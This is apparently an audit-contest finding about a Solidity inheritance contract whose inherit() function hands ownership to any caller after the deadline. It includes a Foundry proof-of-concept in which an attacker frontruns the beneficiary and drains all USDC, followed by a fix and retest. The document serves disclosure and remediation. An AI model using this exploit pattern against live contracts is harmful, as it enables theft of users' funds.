Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Ownership Can Be Stolen After Deadline Due To Frontrun in InheritanceManager.sol::inherit() function

Summary

The InheritanceManager.sol::inherit() function contains a critical vulnerability that allows anyone to claim ownership of the contract after deadline has passed. When there is only one beneficiary (owner has backup wallet as described in docs), and the owner has been inactive beyond the deadline, an attacker can frontrun the legitimate beneficiary and take control of the contract. This allows unauthorized access to all stored funds and assets.

Vulnerability Details

Affected code:

The InheritanceManager.sol::inherit() function allows inheritance only after deadline has passed. If only one beneficiary exists, the contract assigns ownership without verifying the caller. This means anyone can call inherit() and take over the contract if they frontrun the legitimate beneficiary.

Consider the following attack path which is possible when the owner of the contract has 2 wallets, one primary as the owner wallet and one secondary one as a backup as stated in Examples sections of the project's docs:

  1. The owner becomes inactive (lost keys, etc.), and the deadline passes.

  2. The contract has only one beneficiary (owner's backup wallet) (beneficiaries.length == 1).

  3. The legitimate beneficiary attempts to call inherit().

  4. An attacker sees the tx in mempool, frontruns and calls inherit() first.

  5. The contract assigns ownership to msg.sender, but since there is no validation, the attacker now controls the contract.

  6. The attacker can now withdraw all assets, remove the beneficiary, and lock out the rightful inheritor.

PoC

Add the following test to InheritanceManagerTest.t.sol contract.

function test_AttackerCanFrontRunOwnerAfterDeadlinePassed() public {
uint256 balance = 100000e6;
address imAddress = address(im);
vm.startPrank(owner);
// mint 100k USDC to owner
usdc.mint(owner, balance);
// owner sets backup account
im.addBeneficiery(user1);
// transfer USDC ofrom owner to im
usdc.transfer(imAddress, balance);
vm.stopPrank();
// assert valid transfers
assertEq(usdc.balanceOf(owner), 0);
assertEq(usdc.balanceOf(imAddress), balance);
address attacker = address(0x52);
// 90 days pass, no activity
vm.warp(block.timestamp + 90 days + 1);
// attacker
vm.startPrank(attacker);
// fronrun owner's tx and steal ownership
im.inherit();
// remove beneficiary
im.removeBeneficiary(user1);
// transfer all funds to attacker's wallet
im.sendERC20(address(usdc), balance, attacker);
vm.stopPrank();
assertEq(usdc.balanceOf(attacker), balance);
assertEq(usdc.balanceOf(imAddress), 0);
}
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_AttackerCanFrontRunOwnerAfterDeadlinePassed() (gas: 156652)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.06ms (1.06ms CPU time)

The test passed meaning the attack was successful and the attacker stole all funds.

Impact

  • An attacker can take ownership of the contract and steal all stored funds and assets.

  • The rightful beneficiary is permanently locked out.

  • Once the attacker takes ownership, they can remove all beneficiaries, making recovery impossible.

The likelihood is medium, but the impact is critical thus the high severity of this issue.

Tools Used

  • Manual review

  • Foundry

Recommendations

A simple and clean fix would be to just set the ownership to beneficiaries[0] instead of msg.sender.

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = beneficiaries[0];
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Run the previous test again but now with mitigation implemented. The test now fails meaning the attacker was not able to claim ownership and steal all funds.

Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[FAIL: NotOwner(0x0000000000000000000000000000000000000052)] test_AttackerCanFrontRunOwnerAfterDeadlinePassed() (gas: 168894)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.32ms (656.20µs CPU time)
Updates

Lead Judging Commences

0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.